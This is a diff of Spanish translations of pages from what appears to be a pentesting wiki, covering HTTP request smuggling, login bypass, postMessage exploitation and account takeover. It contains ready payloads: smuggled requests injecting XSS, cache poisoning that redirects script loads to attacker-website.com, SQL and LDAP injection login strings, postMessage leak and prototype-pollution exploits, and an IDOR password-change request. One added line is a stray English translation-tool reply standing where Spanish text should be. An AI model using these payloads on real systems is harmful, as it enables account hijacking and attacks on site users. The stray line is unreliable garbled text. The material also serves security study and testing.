### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o puntos finales ocultos**.
|
||||
|
||||
@ -353,7 +353,7 @@ Este método sirve principalmente para entender las modificaciones de la solicit
|
||||
|
||||
### Capturando las solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Aquí se explica cómo se puede lograr:
|
||||
Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Así es como se puede lograr esto:
|
||||
|
||||
Al añadir la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:
|
||||
```
|
||||
@ -415,14 +415,14 @@ Este payload está estructurado para explotar la vulnerabilidad mediante:
|
||||
2. Siguiendo con un `0`, marcando el final del cuerpo del mensaje en chunks.
|
||||
3. Luego, se introduce una solicitud `GET` smuggled, donde el encabezado `User-Agent` se inyecta con un script, `<script>alert(1)</script>`, activando el XSS cuando el servidor procesa esta solicitud subsiguiente.
|
||||
|
||||
Al manipular el `User-Agent` a través del smuggling, el payload elude las restricciones normales de solicitud, explotando así la vulnerabilidad de XSS Reflejado de una manera no estándar pero efectiva.
|
||||
Al manipular el `User-Agent` a través del smuggling, el payload elude las restricciones normales de las solicitudes, explotando así la vulnerabilidad de XSS Reflejado de una manera no estándar pero efectiva.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9, podría ser posible eludir esto**!
|
||||
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo con el cuerpo.
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
|
||||
|
||||
En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **punto final vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
|
||||
|
||||
@ -464,13 +464,13 @@ Resultados en:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta.
|
||||
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
|
||||
|
||||
### Explotando la contaminación de caché web a través del HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Explotación de la contaminación de caché web a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
|
||||
|
||||
Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
|
||||
Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
|
||||
|
||||
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Tales vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, habilitando esencialmente un ataque de Cross-Site Scripting (XSS) generalizado contra todos los clientes que soliciten el `/static/include.js` actualizado.
|
||||
|
||||
@ -492,20 +492,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Nota la solicitud incrustada que apunta a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir la solicitud a su dominio (**redirección en el sitio a redirección abierta**).
|
||||
Note el request incrustado que apunta a `/post/next?postId=3`. Este request será redirigido a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir el request a su dominio (**redirección en el sitio a redirección abierta**).
|
||||
|
||||
Después de un exitoso **envenenamiento de socket**, se debe iniciar una **solicitud GET** para `/static/include.js`. Esta solicitud será contaminada por la anterior solicitud de **redirección en el sitio a redirección abierta** y obtendrá el contenido del script controlado por el atacante.
|
||||
Después de un exitoso **envenenamiento de socket**, se debe iniciar un **request GET** para `/static/include.js`. Este request será contaminado por el anterior request de **redirección en el sitio a redirección abierta** y obtendrá el contenido del script controlado por el atacante.
|
||||
|
||||
Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
|
||||
Posteriormente, cualquier request para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
|
||||
|
||||
### Usando el envenenamiento de solicitudes HTTP para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Usando el HTTP request smuggling para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
|
||||
>
|
||||
> - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
> - En **envenenamiento de caché web**, el atacante provoca que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En **engaño de caché web**, el atacante provoca que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
|
||||
El atacante elabora una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
|
||||
El atacante elabora un request smuggled que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -526,7 +526,7 @@ TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Por favor, envíame el contenido que deseas traducir.
|
||||
Please provide the text you would like me to translate.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -538,14 +538,14 @@ XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que reflejará los datos enviados.\
|
||||
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
|
||||
Como la respuesta de HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
|
||||
Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
|
||||
|
||||
### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
|
||||
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE, es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
|
||||
|
||||
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
|
||||
Por lo tanto, la nueva idea sería que, conociendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
@ -566,7 +566,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Generará estas respuestas (note cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE sea parte del cuerpo de HEAD y una vez que termina el Content-Length de HEAD, se infiltra una respuesta HTTP válida):
|
||||
Generará estas respuestas (note cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE sea parte del cuerpo de HEAD y una vez que finaliza el Content-Length de HEAD, se infiltra una respuesta HTTP válida):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Bypass de inicio de sesión
|
||||
# Login Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,26 +6,26 @@
|
||||
|
||||
Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas técnicas para intentar eludirla:
|
||||
|
||||
- Verifica los **comentarios** dentro de la página (¿desplazarte hacia abajo y hacia la derecha?)
|
||||
- Verifica los **comentarios** dentro de la página (¿desplazarte hacia abajo y a la derecha?)
|
||||
- Verifica si puedes **acceder directamente a las páginas restringidas**
|
||||
- Verifica **no enviar los parámetros** (no envíes ninguno o solo 1)
|
||||
- Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b`
|
||||
- **Cambia el tipo de contenido a json** y envía valores json (incluido bool true)
|
||||
- Si recibes una respuesta diciendo que POST no es compatible, puedes intentar enviar el **JSON en el cuerpo pero con una solicitud GET** con `Content-Type: application/json`
|
||||
- Verifica el posible error de análisis de nodejs (lee [**esto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que la parte de la contraseña sea siempre verdadera.
|
||||
- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que el bit de la contraseña sea siempre verdadero.
|
||||
- Si puedes enviar un objeto JSON, puedes enviar `"password":{"password": 1}` para eludir el inicio de sesión.
|
||||
- Recuerda que para eludir este inicio de sesión aún necesitas **conocer y enviar un nombre de usuario válido**.
|
||||
- **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente **bloqueará todos los comportamientos inesperados cuando se pase `Object`** en el parámetro.
|
||||
- Verifica las credenciales:
|
||||
- [**Credenciales predeterminadas**](../../generic-hacking/brute-force.md#default-credentials) de la tecnología/plataforma utilizada
|
||||
- **Combinaciones comunes** (root, admin, password, nombre de la tecnología, usuario predeterminado con una de estas contraseñas).
|
||||
- **Combinaciones comunes** (root, admin, password, nombre de la tecnología, usuario predeterminado con alguna de estas contraseñas).
|
||||
- Crea un diccionario usando **Cewl**, **agrega** el **nombre de usuario** y la contraseña **predeterminados** (si los hay) y trata de forzarlo usando todas las palabras como **nombres de usuario y contraseñas**
|
||||
- **Fuerza bruta** usando un **diccionario más grande (**[**Fuerza bruta**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
||||
|
||||
### Bypass de autenticación por inyección SQL
|
||||
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyecciones SQL**](../sql-injection/#authentication-bypass).
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyecciones SQL**](../sql-injection/index.html#authentication-bypass).
|
||||
|
||||
En la siguiente página puedes encontrar una **lista personalizada para intentar eludir el inicio de sesión** a través de inyecciones SQL:
|
||||
|
||||
@ -35,7 +35,7 @@ sql-login-bypass.md
|
||||
|
||||
### Bypass de autenticación sin inyección SQL
|
||||
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **NoSQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Como las inyecciones NoSQL requieren cambiar el valor de los parámetros, necesitarás probarlas manualmente.
|
||||
|
||||
@ -57,9 +57,9 @@ Como las inyecciones NoSQL requieren cambiar el valor de los parámetros, necesi
|
||||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### Bypass de autenticación por inyección LDAP
|
||||
### LDAP Injection autenticación bypass
|
||||
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyección LDAP.**](../ldap-injection.md#login-bypass)
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **LDAP Injection.**](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
@ -73,9 +73,9 @@ admin)(!(&(|
|
||||
pwd))
|
||||
admin))(|(|
|
||||
```
|
||||
### Recuerdame
|
||||
### Recordarme
|
||||
|
||||
Si la página tiene la funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
|
||||
Si la página tiene la funcionalidad de "**Recordarme**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
|
||||
|
||||
### Redirecciones
|
||||
|
||||
@ -84,7 +84,7 @@ Las páginas generalmente redirigen a los usuarios después de iniciar sesión,
|
||||
## Otras Comprobaciones
|
||||
|
||||
- Verifica si puedes **enumerar nombres de usuario** abusando de la funcionalidad de inicio de sesión.
|
||||
- Verifica si **autocompletar** está activo en el campo de contraseña/**información** **sensible** **formularios** **entrada:** `<input autocomplete="false">`
|
||||
- Verifica si **autocompletar** está activo en los formularios de contraseña/**información** **sensible** **input:** `<input autocomplete="false">`
|
||||
|
||||
## Herramientas Automáticas
|
||||
|
||||
|
||||
@ -32,14 +32,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||||
## loop until win.length == 1 (until the iframe is loaded)
|
||||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
|
||||
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto window es diferente).\
|
||||
Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio**, y se enviarán al origen del objeto Window.
|
||||
Note que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
|
||||
En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto window es diferente).\
|
||||
Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window.
|
||||
|
||||
### Ataque a iframe y comodín en **targetOrigin**
|
||||
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentra una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
|
||||
Tenga en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** usando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
|
||||
Ten en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
@ -69,18 +69,18 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Nota en este caso cómo la **primera cosa** que hace el código es **verificar el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo).
|
||||
Nota en este caso cómo la **primera cosa** que el código está haciendo es **verificando el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo).
|
||||
|
||||
### Enumeración
|
||||
|
||||
Para **encontrar oyentes de eventos** en la página actual puedes:
|
||||
|
||||
- **Buscar** en el código JS `window.addEventListener` y `$(window).on` (_versión de JQuery_)
|
||||
- **Ejecutar** en la consola de herramientas de desarrollo: `getEventListeners(window)`
|
||||
- **Ejecutar** en la consola de herramientas de desarrollador: `getEventListeners(window)`
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- **Ir a** _Elements --> Event Listeners_ en las herramientas de desarrollo del navegador
|
||||
- **Ir a** _Elements --> Event Listeners_ en las herramientas de desarrollador del navegador
|
||||
|
||||
.png>)
|
||||
|
||||
@ -102,7 +102,7 @@ Para **encontrar oyentes de eventos** en la página actual puedes:
|
||||
```
|
||||
|
||||
- La función **`match()`**, similar a `search()`, procesa regex. Si la regex está mal estructurada, podría ser propensa a eludir.
|
||||
- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, la `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
|
||||
- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
|
||||
|
||||
- Fallo esperado:
|
||||
|
||||
@ -113,7 +113,7 @@ message: "'\"<b>\\",
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
- Eludir el escape:
|
||||
- Eludiendo el escape:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"))
|
||||
@ -124,13 +124,13 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab
|
||||
|
||||
- La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de mismo origen dentro del mismo dominio padre.
|
||||
|
||||
### e.origin == window.origin bypass
|
||||
### Bypass de e.origin == window.origin
|
||||
|
||||
Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
|
||||
|
||||
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
|
||||
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece igualmente en `null`, alineándose con el origen del iframe.
|
||||
|
||||
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
|
||||
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos de envío y recepción tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
|
||||
|
||||
Para más información **lee**:
|
||||
|
||||
@ -138,7 +138,7 @@ Para más información **lee**:
|
||||
bypassing-sop-with-iframes-1.md
|
||||
{{#endref}}
|
||||
|
||||
### Eludir e.source
|
||||
### Eludiendo e.source
|
||||
|
||||
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Content Scripts de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página):
|
||||
```javascript
|
||||
@ -147,7 +147,7 @@ if (received_message.source !== window) {
|
||||
return
|
||||
}
|
||||
```
|
||||
Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **eliminado inmediatamente**.
|
||||
Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **inmediatamente eliminado**.
|
||||
|
||||
Para más información **lee:**
|
||||
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Robando mensajes enviados al hijo bloqueando la página principal
|
||||
|
||||
En la siguiente página puedes ver cómo podrías robar un **sensible postmessage data** enviado a un **child iframe** al **bloquear** la **página** **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido:
|
||||
En la siguiente página puedes ver cómo podrías robar un **sensitive postmessage data** enviado a un **child iframe** al **bloquear** la página **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **iframe** la **página** y **exploit** la **prototype pollution/XSS** enviando el exploit a través de `postMessage`.
|
||||
|
||||
Un par de **muy bien explicados XSS a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
Un par de **very good explained XSS though `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Ejemplo de un exploit para abusar de **Prototype Pollution y luego XSS** a través de un `postMessage` a un `iframe`:
|
||||
```html
|
||||
@ -216,7 +216,7 @@ Para **más información**:
|
||||
|
||||
- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/)
|
||||
- Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
- Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -14,9 +14,9 @@ Si lo hace, puede enviar un **postmessage** con contenido HTML que se va a escri
|
||||
|
||||
La forma de eludir la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**:
|
||||
|
||||
- **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puede sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (tenga en cuenta que la API de Sanitizer -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
|
||||
- Por lo tanto, puede sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Luego, **`window.calc`** será **`undefined`**.
|
||||
- Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Obtener esto es "fácil". Si crea un **iframe** y **envía** un **postMessage** desde él y luego **elimina** el iframe, **`e.origin`** será **`null`**. Verifique el siguiente código
|
||||
- **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puede sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (tenga en cuenta que la API de Saneamiento -[aquí](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
|
||||
- Por lo tanto, puede sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Entonces, **`window.calc`** será **`undefined`**.
|
||||
- Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Obtener esto es "fácil". Si crea un **iframe** y **envía** un **postMessage** desde él y luego **elimina** inmediatamente el iframe, **`e.origin`** será **`null`**. Verifique el siguiente código
|
||||
```javascript
|
||||
let iframe = document.createElement("iframe")
|
||||
document.body.appendChild(iframe)
|
||||
|
||||
@ -27,7 +27,7 @@ En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
|
||||
|
||||
### Inyección SQL
|
||||
|
||||
[**Consulta esta página** ](sql-injection/#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
|
||||
[**Consulta esta página** ](sql-injection/index.html#insert-statement) para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
|
||||
|
||||
### Toma de Control de Oauth
|
||||
|
||||
@ -90,9 +90,9 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR en Parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
|
||||
1. El atacante debe iniciar sesión con su cuenta y acceder a la función **Cambiar contraseña**.
|
||||
2. Inicie Burp Suite e intercepte la solicitud.
|
||||
3. Envíelo a la pestaña de repetidor y edite los parámetros: ID de usuario/correo electrónico\
|
||||
3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
